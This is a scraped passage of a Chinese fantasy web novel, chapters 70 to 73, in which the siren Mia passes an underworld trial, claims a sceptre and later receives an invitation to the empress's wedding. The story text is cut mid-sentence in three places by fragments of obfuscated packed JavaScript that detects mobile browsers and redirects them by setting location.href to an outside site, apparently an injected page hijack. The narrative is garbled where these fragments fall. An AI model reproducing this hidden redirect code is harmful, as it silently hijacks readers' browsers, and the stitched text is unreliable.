l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199164|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 可是在那个时候,回忆的最后,她那么卑微地问他,他还是什么也不肯说。 明明隐瞒的是他,明明放弃了他们的关系的是他,为什么却是她被要求和好呢? 米娅实在不想继续这个话题。 她想,白马既然非要自己待够三十天才肯放自己走,那就由它去吧,反正根据上次的经验,外面的时间几乎不流动,也不影响什么。 如此又过了五天。 冥界没有白天和黑夜之分,待得久了,时间的概念也会模糊,多亏了白马每天准时来给她报时,她才能知道的这么清楚。 这五天里发生了一件小事。 她在归者之墟闲逛的时候,有一只冥界生物不顾白马就在旁边,偷袭了她。 白马的反应很快,那只冥界生物被它一马蹄踢进了冥河里,它还飞过去多踹了两脚。 但它还是很沮丧,它终于意识到,自己的算盘要落空了。 见状,米娅忍不住问它:“能不能告诉我,你为什么要见他?” 白马恹恹地说:“您也看见了,吾主离开的消息瞒不住,冥界这些生物和亡灵知道之后都蠢蠢欲动,冥界急需一位新的主人。” 米娅有些明白了,她这些天闲逛下来,冥界有其自身的运转机制,比如被投入熔炉火山的亡灵必须要待够十年,这不需要额外的力量维持,但同样有需要它们来维持的地方,比如冥界的宁静。 说白了,白马现在需要一位能够镇得住场子的人。 前一位是创世神,白马能想到的继任者,当然也是创世神。 米娅不解:“可他不是要死了吗?” 说完,想到另一种可能性,她喉咙有点儿发紧,“难道说,他可以在死后以亡灵的形式进入冥界,统领冥界?” 那又是另一种形式的永生了。 白马摇了摇头,“创世神不受冥界约束,祂们死后会不会有亡灵都还是个谜,我只希望以利亚大人能够暂时压制住现在的局面,至于原因,您跟我来。” 白马让米娅坐在它背上,“您坐好了,千万别掉下去。” 米娅伏低身子,握紧缰绳,白马像一道闪电冲了出去。 狂风吹得米娅抱紧了马脖子,她的眼睛艰难睁开一条缝,向着下方广袤的冥界看去,河流和原野极速倒退,不过一会儿,她就穿过了归者之墟和回环镜庭,正从熔炉火山上方穿过。 熔炉火山被火焰包裹,看不清里面的情况,只能听到亡灵的哀嚎声,一声高过一声。 米娅打了个颤的功夫,熔炉火山也被抛在了身后,叹息回廊中传来阵阵音乐,舒缓和谐的旋律,叫人昏昏欲睡。 但她一点儿也不想睡,她只想吐。 要散架了,哦不,要魂飞魄散了。 白马跃过了轮回之眼,在轮回之眼的边缘停下。 这里是冥河的尽头,是轮回的终点和起点。 这里漆黑一片,米娅远远看过一眼,还以为冥界的边界就是如此,离得近了,才发现这里有一座黑色的山峰。 白马嘶鸣一声,又向上飞,来到山顶上方。 山顶是一个圆形的平台,中心向下凹陷,黑色的粘稠液体不停地从凹陷处冒出来,向下涌去,看起来像是正在喷发的黑色火山。 “吾主离开之前,将祂的权杖丢了进去,祂说祂在这里布下了试炼,通过试炼,就能获得权杖,得到统御冥界的力量。” “那是怎样一种力量?” 白马说:“吾主说,只要手握权杖,冥界的一切都能为你所用。” “在冥界之外也可以用吗?” “可以。”白马漫不经心地答道,抻长了脖子向下看,嘟囔道,“奇怪,怎么这么安静。” “怎么了?” “这事不是秘密,平时这里可是到处都是想通过试炼的冥界生物和亡灵。” 白马驮着她飞下去,落到山顶的平台上,黑色液体漫过马蹄,它向四周看去,发出洪亮的声音,“有谁在吗?” 无人回应。 正奇怪间,凹陷处的中心白光一闪,一道身影渐渐浮现。 他看了过来,垂眸的侧脸勾勒出清冷的弧度。 71. 试炼(一) “以利亚大人!” 白马激动地迎了上去,坐在它背上的米娅却只想逃跑。 她也真的这么做了,控制着自己感觉不到重量的灵魂,从白马背上跳了下来,向着山下飘去。 然后她的企图被阻止。 冰冷的掌心握住了她的手腕,像拽着风筝的线,拉着她又回到了山顶。 米娅回头,强硬地要求他:“放开我!” 男人低头看她,棕色的眼眸漾起几缕刺眼的红,又像消散在风中的尘埃一样,倏忽消失不见。 “别闹了,米娅。” 他的声音愈发冷了,看似无奈的低语,米娅却从中听不到半点儿情绪。 他还是出现了。 看见他的一瞬间,米娅自己也分不清,究竟是喜悦多一点儿,还是抗拒多一点儿,她只知道,她不知道该怎么面对他。 可是听到这句话,米娅又冷静了下来。 凭什么是我在逃避? 米娅挣脱他的手,退到白马身后,看着白马激动地向他诉说冥界的困境,说着说着,白马捶胸顿足,脚底的黑色液体高高溅起。 米娅正要躲,却见以利亚向这边瞥了一眼,随之黑色液体猛地缩了回去。 他真是不管在哪里,都是让人恐惧的对象。 米娅忍不住想着,突然听到白马将话题引到了自己身上,“请您原谅我,我实在是联系不上您,才出此下策将米娅夫人请了过来。” 以利亚语气平淡,听不出情绪,“要说原谅,也该看她是否愿意原谅。” 白马转头,对米娅露出一个恳求的表情。 米娅无语了片刻,她十分赞同维里希斯的话,这天马族长得也太可爱了,让人想生气都气不起来。 “原谅了原谅了,可以送我回去了吗?” 白马又小心翼翼地看向以利亚。 以利亚摇头,“现在还不行。” “还要等什么?” 米娅炸毛了。 二十多天以来,她忍受了那些冥界生物看她的奇怪眼神,忍受了自己内心的煎熬。 现在好不容易结束了,竟然还要等待。 以利亚没有理她,转头问白马:“你希望我怎么做?” 白马内折前腿,伏低上半身,“冥界需要新的主人,以利亚大人您是最合适的人选。” 以利亚看着它,“说出你的真实目的。” 白马神情一变,深埋着头,沉默了好一会儿,才重新开口。 “我太弱了,通不过吾主留下的试炼,可是我也不愿意让冥界落到别人手中,我希望您能暂代冥界之主一职,让我能够有时间变得更强大,强大到通过考验。” 以利亚静静地说:“你应该知道,我时日无多了。” 米娅心里一滞。 不知道是因为以利亚的话,还是察觉到他没有避开自己,他是觉得让自己知道也无所谓,还是知道自己已经想起来十一年前的事了? “我想不到别的办法。” 以利亚问:“没想过有更合适的人选吗?” 白马疑惑地睁大眼睛,他进过试炼,除非有像以利亚那样的力量,不然不可能成功,更合适的人选,除了以利亚,它实在想不出来。 以利亚轻轻地看了一眼米娅。 白马也跟着看过去。 米娅也呆住了,心想,以利亚难道在说我吗,可是我在冥界连力量都发挥不出来,还处于需要白马保护的阶段,怎么可能合适呢? “我不行的吧。”她干笑。 白马也这样觉得,但它又觉得以利亚大人不会无缘无故看过去,一定有什么深意,绞尽脑汁想了半天,终于恍然大悟。 “啊,我明白了。”白马激动的声音同时吸引了米娅和以利亚的视线。 它看看以利亚,又看看米娅,仿佛看到了希望的曙光,它大声说:“如果是你们的孩子的话,一定天生就拥有强大的力量。” 以利亚:“……” 米娅:“……” 只有这一刻,米娅觉得,她和以利亚达成了某种奇怪的共识——白马好像缺根筋。 虽然之前二十多天的相处中这样的想法时不时冒出来。但如此强烈地感受到还是第一次。 它是真的看不出来,她和以利亚之间再见时尴尬的氛围吗? 正想着,她看见以利亚看向了自己,眼神古怪地上下打量了她一番,然后陷入了沉思。 米娅体会到了冰火两重天的滋味,她被这一眼看得寒毛都竖了起来,脸上却烧得慌。 她双手挡在胸前,惊恐地后退,“你冷静一点儿,我们生不了。” 大概是她这副模样实在太夸张,以利亚又看了她一眼,这回居然笑了,“你怎么知道不行?” 米娅觉得他明知故问,他还在奥修斯岛时,了解了很多有关海妖的知识,其中就包括海妖是怎么孕育后代的。 白马眼睛一亮,惊喜道:“以利亚大人,您愿意——” 米娅真的想跑了。 她毫不怀疑,只要以利亚点一下头,白马就会立刻离开给他们创造条件,虽然不知道为何自己是灵魂状态以利亚依然能碰到自己,但自己现在可真是一点儿反抗的办法也没有。 “不愿意。”这次以利亚答得很快。 米娅还没来得及松一口气,以利亚突然看向她,郑重地说:“不需要我和她的孩子,她就是那个人选。” “我?” “她?” 两道怀疑的声音几乎同时响起,米娅和白马对视一眼,从对方脸上看到了不可置信。 以利亚慢条斯理地说:“奥修斯岛上的生命之树,是奥洛的另一神器,和维持冥界的力量同源,她是奥洛的祭司,是除了你之外最熟悉这种力量的人。很可惜,因为你也是从混沌中存活至今,与这股力量仍有排斥,她却不会,所以她才是最合适的人选。” “我已经不是祭司了。”米娅小声说道。 一人一马没有理她。 白马沉思了片刻,表情有些松动,它相信以利亚不会骗自己,可是还有个最大的问题是—— “她通不过试炼吧。” 它曾两度进入试炼。 第一次,它回到了混沌的古战场,第二次,它看见了未来的冥界,古战场上厮杀不断,未来的冥界同样风雨飘摇,谁都想夺得冥界之主的位置,越来越多的动乱,越来越多的袭击,它所喜爱的这方世界,正在它的无能为力下崩溃。 试炼的内容也是它坚持要获得以利亚帮助的重要原因,只是它没跟别人提起过。 “如果是以前的她,或许还有可能,现在她只是一只海妖。”白马沮丧地说。 又是这样。 以前,过去,曾经。 类似的话米娅听过不知多少。 塞奇说她是他的妻子,冥界生物说以利亚一定会来找她,现在白马又说以前的她能通过试炼。 他们看似在谈论她,实则却说的是另一个她。 这种感觉真令人难受。 “是你理解错了试炼的本质,它与力量多少无关。”以利亚声音很轻,似乎在回想着什么。 米娅想到白马驮着自己过来时山顶空无一人,他也是突然出现的,明白过来,那时他刚从试炼中出来。 但他没有拿着权杖出来,是失败了,还是他放弃了? “无关?”白马疑惑。 “日有所思,夜有所梦,试炼中的,不过是你最害怕的场景。”以利亚来到米娅面前,瞥见她警惕的神色,垂眸自嘲地笑了,“你害怕吗?” 米娅皱眉,“你们说了半天,难道没想到一种可能性吗?” “什么?” “我对这劳什子试炼一点儿兴趣也没有,冥界之主谁爱当谁当去,我现在只想回去。” 以利亚沉默不语,白马先坐不住了,“那可是多少人梦寐以求的力量,你如果拿到了权杖,别说回去了,想去哪儿就去哪儿,不管是冥界还是人间,都没人能阻碍你。” 米娅不想在这个时候跟它争论,她只盯着以利亚的眼睛。 “你会去的。” 半晌,以利亚缓缓说道。 冥界大乱,受影响的不仅是冥界,还有地面上的一切,无论是海妖还是人类。 她会因为莱森是个好人而救他,她怜惜十一年前的罗莎,帮她教训施暴的酒馆老板还留下钱财试图改变罗莎的命运,她在回忆中甚至想保护他。 她从不像宣扬得那般冷血。 米娅败下阵来,男人的眼眸里,棕色已经越来越浅,只有淡淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204739|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹,取而代之的,是血一样的红。 他语气平静,眼神也平静,仿佛能看透她。 米娅转头问白马:“你说没人能阻碍我,也包括他吗?” 白马僵住了,这可不是个容易回答的问题,虽然听说两千多年前奥洛和伊瑟尔的关系突然恶化,但还从没有到兵戎相见的地步。 它不确定地跺了下马蹄,“在冥界应该是吧。” 米娅对着眼前的男人扬起一个挑衅的笑,“那我可以试试。” 话音刚落,脚下黑色的液体忽然就停止了翻涌,然后越来越多的液体涌了出来,仿佛要将整座山峰都吞噬。 米娅闭上眼睛,任由黑色的液体淹没了她。 很奇怪的感觉,她仿佛回到了海水之中,有些温暖,有些熟悉。 大概是因为力量同源吧。 她这么想着,那感觉又消失不在了。 寂静袭来,她睁开眼睛,已经不在山顶,周围是一片黑色的草地,唯一的光源来自不远处的河流。 听到以利亚说试炼中会见到最害怕的场景时,米娅认真想了一想,她最害怕的是什么。 有些人类怕鬼,怕猛兽,怕老鼠,当然,还有怕海妖,她似乎没有特别怕的事物,也许软软的虫子勉强算得上,但也只是觉得它们蠕动起来有些恶心罢了。 况且,奥洛的试炼,不至于这么简单。 她想到了几年前,看到海妖被人类所伤时,除了愤怒之外,她也是有害怕的,害怕那受伤的海妖会死去,害怕她做不好祭司。 后来的事实证明,她的确不是个好祭司。 米娅苦笑着靠近发光的河流,发现“河流”中没有水,而是无数只萤火虫。 这些萤火虫也像河水一样,正在朝着同一个方向流动。 她站在原地等待了一会儿,四周的景象一点儿没变,漆黑的草地,流动的萤火虫。 眼前的一切不是她害怕的。 那会是什么呢? 米娅想了想,跟着萤火虫的方向前进。 也不知过了多久,前方忽然变得异常明亮,适应了黑暗的双眼微微眯起,米娅抬手挡住部分光亮。 视野的前方,萤火虫汇聚而成的“河流”到达了尽头。 仿佛是河流汇入了海洋,萤火虫们在一片不大的空间里聚集、飞舞,几乎填满了每一个角落。 米娅走过去,它们自动向两边分开,分出一条笔直的道路。 道路尽头,一根黑色的权杖矗立在半空中。 权杖漆黑,仿佛能吞噬一切光明,深紫色的藤蔓从底部伸出,像蛇一样缠绕住杖身,在顶端绽放几朵拇指大的白色小花。 那黑色就像漩涡,视线触碰到,便再也挪不开。 米娅完全被那黑色吸引,周遭的一切似乎都在她眼底消失了,她连自己是走过去的还是飘过去的都不知道,只知道权杖离她越来越近。 她伸出手,藤蔓感知到她的靠近,向下回缩,从杖身剥离,爬上她的指尖。 荆棘刺破指尖,血珠被藤蔓吸收,就像按下了什么开关,藤蔓开始疯长。 藤蔓分出无数条枝桠,沿着她的手臂向上爬行,到肩膀才停下,像是为她的手臂覆盖上了铠甲。 然后,权杖在藤蔓的拉扯下飞了过来,刚好落到她的掌心。 光滑又冰凉的触感,像在抚摸一条蛇。 一瞬间,许多画面浮现在脑海中,她时而像一个巨人站在冥界的上方,将整个冥界都收入眼底,时而化作崩腾的冥河,听到冥界生物的窃窃私语。 冥界的每一个亡灵,每一块石头,每一个生物,从它们身上都伸出了一根白色的线,连在她的指尖。 只要她想,她可以瞬息间令整个冥界变个样子,也可以驱使无数的亡灵。 米娅深吸一口气,冥界的景象逐渐模糊,她又回到了试炼的那片空间,权杖被她握在手里,萤火虫停止了飞舞,一切都静了下来。 心念一动,空间碎裂,她又回到了山顶。 以利亚不知所踪,只有白马在等她。 白马看到权杖,激动地说:“以利亚大人果真没有骗我,您竟然真的成功了。” “他人呢?” “他说您一定会成功的,这里不再需要他,已经回人间去了。” 72. 试炼(二) 米娅没想到,他就这么走了。 她还有好多话想问他,从十一年前的回忆里出来时就想问了,结果突然感知到奥修斯岛出了事,她也顾不上太多,急匆匆地回了奥修斯岛。 他说试炼里有试炼者最害怕的场景,但她什么也没遇到,拿到权杖的过程轻松到不可思议。 结合他认为她是最合适的人选,米娅很能不怀疑,她和白马到来之前,他对试炼做了什么。 米娅很想现在就回去,低头一看白马忐忑又期待的样子,还是不忍心,摸了摸马脖子上的毛说:“走吧,我们回神殿去。” 话音刚落,她就已经站在了神殿门口。 这就是权杖的力量。 米娅知道,她也不需要白马再送她回人间了,如今手握权杖的她,可以自由往返于人间与冥界,她甚至可以在人间召唤出冥界的生物。 好处是,以后只要有她在,奥修斯岛将会是世界上最坚不可摧的堡垒。 海妖们再也不用担心外界的觊觎。 想着这些,米娅看见那些曾经对她垂涎三尺的冥界生物从神殿内涌出来,纷纷匍匐在地上,却又抬着头,用近乎狂热的眼神盯着她。 这种眼神,米娅曾在幼小的海妖身上见过。 在她们小小的世界里,她就是神明。 不过随着那些幼小的海妖逐渐长大,她们看她的眼神也会发生变化。 她们会意识到,她也只是一只海妖,会流血,会流泪,会微笑,会有七情六欲。 可是现在在这些冥界生物眼中,她就是神明,不会随着时间流逝而转移。 因为她可以轻易摧毁它们。 看到它们,手里的权杖忽然变沉了,米娅终于意识到,她接过了一项多么沉重的责任。 冥界有条不紊地运行了数万年,其间经过无数次的调整,现下有一套成熟高效的规则,米娅没打算贸然动作。 就像白马的期望那样,它只要一个能震慑住因主人离去而蠢蠢欲动的亡灵与冥界生物的人罢了。 在这一点上,担任过海妖祭司的米娅很清楚应该怎么做。 将神殿中的事务安排妥当后,她和白马一起,重新走了一遍冥界中的五境。 还是沿着之前的路线,但目的已大不相同。 拿到权杖之时,冥界中的一切都知道了冥界迎来了新的主人,可是还不够,总有人会不将她放在眼里。 可是当它们靠近她时,就会知道,权杖的力量有多么不可违抗。 做完这一切,米娅放心地将大小事务托付给了白马,回到了人间。 她从奥修斯岛的家中醒来,一睁眼,看见床边趴着的小脑袋。 “尤妮……”她轻声呼唤。 尤妮跪坐在地上,闻言惊喜地抬起头,一把抱住了她,眼睛红红的,声音也带了哭腔,“米娅姐姐……呜呜,你终于醒了。” 米娅惊讶不已,尤妮上一次主动叫她米娅姐姐都是好些年前的事了,她拍了拍她的背,“怎么哭了?” 在尤妮断断续续地讲述中,她知道自己已经昏迷了十天。 看来在冥界的时候,人间的时间只是以很慢的速度流动,并不是完全静止的。 海妖昏迷十天确实称得上大事,难怪尤妮被吓着了。 她轻声安慰尤妮:“我没事了。” 冥界的事,她不打算告诉她们,如果可以,她希望自己可以永远不需要在冥界之外动用权杖的力量。 说到权杖,米娅低头看向掌心,曾经属于海妖的纹路在奥修斯岛浮上海面时就已消失,取而代之是简易的权杖图案,在她掌心若隐若现。 图案的边缘微微发烫。 她能感觉到权杖的存在。 还真是方便,米娅笑了笑,也不用担忧有人来抢。 米娅带着尤妮走出家门。 回到海面上的第十天,奥修斯岛仍有些混乱。 生命之树正在以肉眼可见的速度枯萎,以前遮天蔽日的树顶,如今只剩了一半大小。 树干中的木屋,也进不去了。 米娅感到可惜,她还有好多收藏在里面。 虽然她可以劈开树干取出来,但对现在脆弱的生命之树来说,这样的伤痕无疑会使它彻底消散。 生命之树对海妖一族的意义太重大,思索再三,米娅放弃了这个想法。 好在她收藏的都是些新奇的小玩意儿,没有特别重要的东西,她心想。 米娅醒来之后,悲伤依然在奥修斯岛上空徘徊了许久。 海妖们看到米娅停滞了生命之树的死亡,以为她能令生命之树重焕生机,但米娅无情地打破了她们的幻想。 神明已经离开。 米娅再次确认了这一点。 除此之外,还是有好消息的。 米娅醒来前,那个曾假扮成米娅丈夫的海妖凭借自己可以完美伪装成人类,偷偷去了一趟赫尔西岛。 无尽海上的风暴已经消散了,海妖们还以为会遭到人类的攻击,但海面上风平浪静,就连监视也少了许多。 海妖们感到很奇怪,决定让他出去打探消息。 他带回来了好消息。 布里斯帝国官方宣布,海妖捕杀令废止。 与此同时,曾经在海妖捕杀令庇护下为非作歹的海妖猎人,遭到了大规模的抓捕。 等待他们的会是迟来的审判。 海妖手舞足蹈地描述了抓捕海妖猎人时的情形。 可是听到他激动的声音,很长时候,周围都是一片鸦雀无声。 曾经不可一世的海妖猎人组织,就这么倒了? “会不会是做样子给我们看啊。” 一个海妖说。 那海妖激动地说:“不会的,我好歹跟他们打过两年交道,还分得清真的和演戏。” 米娅醒来之后,有海妖来找她求证。 “是真的。”她点了点头。 那海妖看她的眼神像看着英雄,但米娅只觉得惭愧,说到底,在这件事上,她没有起到多大的作用。 就像以利亚说的,捕杀海妖的代价远远超过了收益,布里斯帝国皇室早就想放弃了。 她不确定以利亚在其中扮演了怎样的角色。 没回忆起十一年前的记忆前,她认为以利亚是海妖捕杀令的罪魁祸首,现在想来,却疑点重重。 米娅感到头疼,她总觉得自己忘了什么,却想不起来忘了什么。 她想去赫尔西岛问个清楚,奥修斯岛又离不开她。 还有冥界。 从冥界回来没过几天,白马就出现在了奥修斯岛,米娅很惊讶,还以为自己看错了,白马却说:“我本来也不属于冥界,之前是遵从吾主的吩咐不出来而已。” 米娅闲暇时一直关注着冥界的动向,见白马离开没造成多大影响,也就由它去了。 不过白马也没在奥修斯岛待几日,米娅不准它出去,它绕着岛转了一圈,又跑到海底溜达了一圈,新鲜劲儿过了,又怀念起冥界来。 它说着自己不属于冥界,心里早把冥界当成了家。 “想回去就回去吧。” 米娅这么一说,白马不带一点儿留念就回了冥界。 米娅无奈地笑了,再次觉得白马真是缺根筋,明明已经活了两万年,还跟小孩儿似的。 时间一晃而过。 晚秋九月月末,冬日即将到来之际,寒气已先一步登陆,和一个喜庆的消息一起,悄悄浸染了整个帝国。 洛琳女皇将于十月二十日在首都绿恩岛举行盛大的婚礼。 女皇的皇夫是布里斯帝国南方第一大家族法齐奥家族的继承人,两人从小便有婚约,成年之后却不知为何一直不曾完婚。 坊间传言,两人感情不佳,多次试图解除婚约,但因这桩婚约背后的利益牵扯太大,始终未能如愿,拖了多年,终于决定今年完婚。 教会大神官亲自为他们占卜,算出今年最好的日子便是十月二十,因此虽然时间紧迫,婚礼的各项准备工作还是如火如荼地展开了。 邀请函如雪花一般散了出去,从北边的玛丽亚联盟到南边的萨穆帝国,以及布里斯帝国的各个岛屿的领主,都收到了邀请。 邀请函同样也寄到了奥修斯岛。 风暴消失之后,无尽海不再是一片与世隔绝的海域,它也像世界上其他海域一样,天气好时,风平浪静,天气不好时,电闪雷鸣。 从地图上看,玛丽亚联盟和布里斯帝国之间的多条航线,如果走最短路线的话,一定会经过它。 从前因为风暴,因为对海妖的恐惧,船只都会绕道而行。 风暴停歇后,还需不需要绕道一直在人类社会中是个难题。 毕竟海妖还在。 这是海妖们从人类船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211121|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员口中得知的。 风暴消失一个月后,无尽海周围起了大雾,尽管雾气在第二天就消散了,还是有一艘船夜晚迷失了方向,在奥修斯岛的海滩上搁浅。 一开始,海妖们以为是海妖猎人又卷土重来。 在米娅的制止下,才勉强忍住了将船只掀翻的冲动。 人类也以为是海妖故意让船只偏航搁浅,在船上拿着武器严阵以待。 经过一番剑拔弩张的对峙,双方弄清了事实。 海妖帮助搁浅的船只重回海面,船只还在奥修斯岛上补充了淡水。 但这些帮助都需要人类用金钱来换。 “我们只要黄金。”迪伦说这话时,海妖们仿佛听到了人类船长咬牙的声音。 好在价格还算合理,人类船长想想也就付了。 重回正轨的船只渐行渐远。 海妖们看着迪伦手中的黄金叽叽喳喳小声议论个不停。 人类和海妖关系变远的数十年间,海妖一直有储存少量人类货币以备不时之需的习惯,但光明正大地和人类做生意还是头一遭。 其实迪伦也不太明白。 是米娅让他这么做的。 奥修斯岛浮上海面一个月后,米娅逐渐将岛上的事情交给了他和尤妮。 但这次和人类交易,是她主动提出的。 当时时间紧迫,米娅没说具体的理由,现下人类走了,米娅预料到,迪伦会来找她。 没想到在等来迪伦前,尤妮先来了。 米娅回岛之后,她们的关系缓和了很多。 尤妮也是来问为什么要跟人类交易的,话刚起了个头,余光瞥见迪伦过来,突然脸色一变,气鼓鼓地走了。 迪伦一头雾水地看着她离去的背影,嘟囔了一句,“怎么一见我就跑?” 米娅心下了然,微笑着盯着他,笑容多少有点儿诡异。 迪伦下意识挺直了背。 “你真不知道吗?”米娅拿起花洒,走到屋前新开辟出来的花圃里,慢悠悠地给刚破土而出的嫩芽浇水。 “我怎么会知道?”迪伦随口说。 “不说这个了。”顿了顿,迪伦又说,他似乎不想让米娅也掺和进他和尤妮的事来,“我是来问你,为什么要和人类做生意?” 这也是大部分海妖的疑惑。 米娅很坦诚,“没有了风暴,奥修斯岛与人类的接触只会越来越多,逃避是没有用的,我们需要学会了解他们,和他们共存,做生意是最有效的途径。” 说到这里,米娅停了一下,然后低声笑了,“而且你们以后就会明白了,财富在他们的世界中有多么重要。” 她说的没错,接下来的几个月,迪伦大开眼界。 有一就有二。 怕海妖怕得要死的人类,居然也会主动靠近奥修斯岛。 有些是好奇,有些则是带着贪婪来的。 友好的欢迎,有歪心思的驱逐。 迪伦秉持着这样的理念,维持住了局面。 但他无法阻止的是,当人类和海妖接触越来越多的时候,许多仇视人类的海妖发现,人类也不都像海妖猎人那般邪恶无耻。 如今岛上众海妖心思浮动,许多海妖都想出岛去人类世界了。 米娅始终旁观,迪伦不赞同海妖出去,但尤妮认为出去与否是她们的自由,不应该干涉,他们的关系似乎更糟糕了,经常有海妖看到他们大吵一架,不欢而散。 通常第二天又跟什么事都没发生过一样。 米娅对此不置一词。 尤妮说,她好像和以前不一样了,越来越平和。 米娅也察觉到了发生在自己身上的变化,但她的看法刚好相反,那不是平和,而是冷淡。 有时候,她看着他们在她面前争吵,却像看着舞台上的两个人争吵一般。 看似很近,却总是隔着很远的距离。 难道是权杖带来的副作用吗? 米娅回了一趟冥界,白马也觉得疑惑,“没听说过这种情况,不过我对权杖了解也不多,要不您去问一问……问一问……” 白马就像卡壳了一样,就是说不出后面的那个名字。 “问谁?”米娅着急地催促它。 但也不知道为何感到焦急。 好一会儿,白马抬起头,茫然地看向她。 “是啊,还能问谁呢?” 73. 试炼(三) 米娅失魂落魄地回到了奥修斯岛,当白马反问她还能问谁时,好像有一把刀刺进了她的胸膛,将她的心脏剜去了一块。 不觉得疼,却很难受。 女皇的邀请函就是在这时到来的。 邀请函没有指名道姓,只说邀请海妖一族的首领。 最初收到邀请函,尤妮都想直接撕碎来着,想了想又放弃了,她和迪伦商量了一番,将邀请函交给了米娅。 她说:“我们都觉得应该你去,那些人类只认你。” 米娅没有推辞,她迫切地想要出去,她总觉得,她的异常在人类的世界能找到答案。 与邀请函一起来的,还有一封洛琳女皇的亲笔信。 收信人一栏写着米娅的名字。 信上说,海妖和人类之间存在诸多误会,她想当面澄清,希望米娅前来。 信件末尾,是洛琳女皇的签名,旁边还有教会大神官的印章。 相当郑重,从纸张到口吻都透露出严肃的气息。 以及信中特意提到,赫尔西岛此次前来观礼的是卡伦·道恩。 卡伦·道恩—— 米娅拿着信纸的手无意识地攥紧,脑海中闪过一些画面,眼尾上扬的男人像狐狸一样狡黠地对她微笑。 他说:“领主大人想见您。” 领主大人—— 眼前似有一个模糊的身影,冰冷的手轻轻抚摸着她的脸颊,还有一双清冷的眼眸,静静地看着她。 “……” 有一个名字堵在喉咙上,但她说不出,她好像忘了。 “米娅,你没事吧?” 迪伦的声音将她唤了回来,米娅看向身侧的镜子,镜中的自己脸色惨白,难以抑制的悲伤从眼底溢出。 “我……”说没事实在是自欺欺人,她将话题转移回信件上,“卡伦·道恩,是赫尔西岛那个文官?” 尤妮点点头,“对呀,米娅姐姐你之前去赫尔西岛没有见过他吗?” 米娅不确定地摇了摇头,“应该见过吧,我对他的样貌还有点儿印象,奇怪,为什么要在信上特意提一句他?” 迪伦和尤妮对视一眼,尤妮张了张口,好像有话要说,迪伦用眼神暗示她别说。 米娅将他们之间的暗流涌动看在眼里,“你们有事瞒着我?” 尤妮扭捏了一下,还是说了,“也不算瞒着吧,我们就是怕提起了你会不开心。” “到底是什么事?” 尤妮道:“她们说,你去赫尔西岛的那些天,和赫尔西岛的领主有些说不清楚的关系,凭着这层关系,海妖捕杀令才被废除的。” 迪伦阻止她:“尤妮,你说这些做什么!” 尤妮委屈地瞪他:“又不是我说的,我也不相信米娅姐姐会这么做,而且,不是还有种说法吗,是那个什么领主单方面追求米娅姐姐,我更相信后一种。” 说罢,她眼巴巴地望着米娅,希望米娅能给出她想要的答案。 “都不对。”米娅无奈地笑了,“就算没有我,人类本来也打算废除海妖捕杀令了,我只不过加快了这一进程。” “那那个人类领主……” 米娅轻轻在她额头上一戳,没好气地说:“就知道你最关心的是这个,我跟他……” 说到此处,她突然顿住了,妩媚的面容有一瞬间的空白,她皱起了眉,努力回想了一会儿,才继续说:“我跟他没什么,我到了赫尔西岛之后发现,海妖捕杀令是有人假借他的名义推动的,他也被蒙在鼓里,后来还暗中帮助过海妖。” 尤妮惊讶,“原来他还算个好人。” 米娅笑道:“我也说过同样的话。” 顿了顿,又说:“罢了,去的是他还是卡伦也不重要,这一趟的重点是洛琳女皇,我是该会会她了。” 十月初,米娅和尤妮启程前往布里斯帝国首都绿恩岛。 尤妮没想到米娅会带她去,有些受宠若惊。 但迪伦对她说,这是必然结果,整个奥修斯岛大概除了尤妮自己,没有海妖不知道米娅一直拿尤妮当下一任祭司培养。 现在祭司名存实亡,但海妖一族总还需要一位首领。 尤妮是天赋最高的那个。 尤妮懵懵懂懂地应了,带着一份莫名的责任感登上了前去绿恩岛的船。 她们的航行并不顺利。 那是一艘途径奥修斯岛的客船,船长被黄金打动,明知她们是海妖也让她们上了船。 船上物资充足,本该一路破浪而行直达目的地绿恩岛。 然而路上却意外不断,又是百年一遇的风暴,又是船上旅客发生冲突,甚至有两人在冲突中身亡。 客船不得不多次停靠在最近的港口。 每当这时,尤妮总忍不住好奇心下船去,走入人类的世界。 不同的岛屿有不同的景色和风俗。 她们惊讶之余,发现一种未被明说的紧张状态正在人群中蔓延。 米娅回去问船长,船长说跟渡水者有关,至于究竟是什么事,船长也没打听出来,他还觉得海妖神通广大想问她们来着。 海妖本身只是避世的种族之一,虽有超越普通人类的强大力量,但还远没到神通广大的地步。 不过这不代表现在的米娅没有。 她的掌心微微发热。 米娅回到船舱,反锁住门。 权杖在她掌心浮现。 原本打算去冥界一趟,垂眸沉思了片刻,她换了种方式,天光骤暗,一道虚影从地面冒出来,滴答滴答的水珠从虚影身上滑落。 这是一个刚进入冥界的亡灵,曾经是个渡水者。 米娅闻到一股鱼腥味,上下打量了他一番,皱起鼻子,“你是溺水身亡?” 亡灵机械地点头。 权杖上的宝石散发出淡淡的光芒,照在墙上,映出亡灵身前的景象。 他为玛丽亚联盟某家族效力,为人嚣张跋扈,树敌无数,临死之前,喝醉了酒在路上走,被敌人套了个麻袋,推进了海里。 这死的也太随意了。 米娅腹诽,好歹是个渡水者,喝醉了酒就不反抗了? 